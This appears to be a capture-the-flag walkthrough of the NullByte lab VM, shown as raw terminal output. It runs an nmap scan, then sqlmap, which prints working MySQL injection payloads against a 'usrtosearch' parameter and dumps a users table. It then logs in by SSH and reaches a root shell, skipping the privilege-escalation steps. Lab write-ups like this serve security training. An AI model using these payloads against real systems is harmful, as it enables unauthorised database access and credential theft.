root@kali:~# nmap -sn -v 192.168.56.0/24 Nmap scan report for 192.168.56.106 Host is up (0.00024s latency). MAC Address: 08:00:27:FE:89:AF (Oracle VirtualBox virtual NIC)
1 2 3 4 5 6
root@kali:~# nmap -p- -sV -Pn -v 192.168.56.106 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) 50480/tcp open status 1 (RPC #100024)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 10:41:51 /2020-01-02/ [10:41:51] [INFO] parsing HTTP request from 'sqlmap.txt' [10:41:51] [INFO] testing connection to the target URL [10:41:51] [INFO] checking if the target is protected by some kind of WAF/IPS [10:41:51] [INFO] testing if the target URL content is stable [10:41:51] [INFO] target URL content is stable [10:41:51] [INFO] testing if GET parameter 'usrtosearch' is dynamic [10:41:51] [WARNING] GET parameter 'usrtosearch' does not appear to be dynamic [10:41:51] [INFO] heuristic (basic) test shows that GET parameter 'usrtosearch' might be injectable (possible DBMS: 'MySQL') [10:41:51] [INFO] testing for SQL injection on GET parameter 'usrtosearch' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [10:41:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [10:41:51] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [10:41:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [10:41:52] [WARNING] reflective value(s) found and filtering out [10:41:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [10:41:52] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' [10:41:53] [INFO] GET parameter 'usrtosearch' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="ID") [10:41:53] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [10:41:53] [INFO] GET parameter 'usrtosearch' is 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' injectable [10:41:53] [INFO] testing 'MySQL inline queries' [10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [10:41:53] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [10:41:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [10:41:53] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [10:41:53] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [10:42:03] [INFO] GET parameter 'usrtosearch' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [10:42:03] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [10:42:03] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [10:42:03] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [10:42:03] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [10:42:03] [INFO] target URL appears to have 3 columns in query [10:42:03] [INFO] GET parameter 'usrtosearch' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable [10:42:03] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval GET parameter 'usrtosearch' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 137 HTTP(s) requests: --- Parameter: usrtosearch (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: usrtosearch=1111" OR NOT 7451=7451# Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: usrtosearch=1111" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a6a6271,(SELECT (ELT(9768=9768,1))),0x7171627171,0x78))s), 8446744073709551610, 8446744073709551610)))-- Irce Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: usrtosearch=1111" AND (SELECT 7630 FROM (SELECT(SLEEP(5)))fzHD)-- xAIX Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: usrtosearch=1111" UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6271,0x7a5249786a7646744654494a6d676f4c78454f63675a7a4d786f757a42744a515649526e7574704b,0x7171627171)# --- [10:42:03] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.5 [10:42:03] [INFO] fetched data logged to text files under 'C:\Users\HASEE\AppData\Local\sqlmap\output\192.168.56.106' [*] ending @ 10:42:03 /2020-01-02/
root@kali:~# sqlmap -r sqlmap.txt -D seth -T users --dump ___ __H__ ___ ___[,]_____ ___ ___ {1.3.12#stable} |_ -| . [.] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:53:36 /2020-01-01/
[21:53:36] [INFO] parsing HTTP request from 'sqlmap.txt' [21:53:36] [INFO] resuming back-end DBMS 'mysql' [21:53:36] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: usrtosearch (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment) Payload: usrtosearch=1111" OR NOT 8608=8608# Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: usrtosearch=1111" AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716b767671,(SELECT (ELT(6518=6518,1))),0x7171706b71,0x78))s), 8446744073709551610, 8446744073709551610)))-- SFDc
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: usrtosearch=1111" AND (SELECT 5358 FROM (SELECT(SLEEP(5)))oBUJ)-- bKCB Type: UNION query Title: MySQL UNION query (NULL) - 3 columns Payload: usrtosearch=1111" UNION ALL SELECT NULL,CONCAT(0x716b767671,0x564b5772465344646f7a6a79776666466b735572476570706b70585a4a704d624f704e54684f5172,0x7171706b71),NULL# --- [21:53:36] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.5 [21:53:36] [INFO] fetching columns for table 'users'in database 'seth' [21:53:36] [INFO] fetching entries for table 'users'in database 'seth' Database: seth Table: users [2 entries] +----+---------------------------------------------+--------+------------+ | id | pass | user | position | +----+---------------------------------------------+--------+------------+ | 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> | | 2 | --not allowed-- | isis | employee | +----+---------------------------------------------+--------+------------+
[21:53:36] [INFO] table 'seth.users' dumped to CSV file '/root/.sqlmap/output/192.168.56.106/dump/seth/users.csv' [21:53:36] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.56.106'
root@kali:~# ssh ramses@192.168.56.106 -p 777 The authenticity of host '[192.168.56.106]:777 ([192.168.56.106]:777)' can't be established. ECDSA key fingerprint is SHA256:H/Y/TKggtnCfMGz457Jy6F6tUZPrvEDD62dP9A3ZIkU. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[192.168.56.106]:777' (ECDSA) to the list of known hosts. ramses@192.168.56.106's password:
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109 ramses@NullByte:~$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses) ramses@NullByte:~$ whoami ramses
ramses@NullByte:~$ cd /var/www/backup/ ramses@NullByte:/var/www/backup$ ls procwatch readme.txt ramses@NullByte:/var/www/backup$ cat readme.txt I have to fix this mess... ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1664 pts/0 00:00:00 procwatch 1665 pts/0 00:00:00 sh 1666 pts/0 00:00:00 ps
# cd /root # ls proof.txt # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d
It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mail at xly0n@sigaint.org attach the walk and proof.txt If sigaint.org is down you may mail at nbsly0n@gmail.com
USE THIS PGP PUBLIC KEY
-----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0
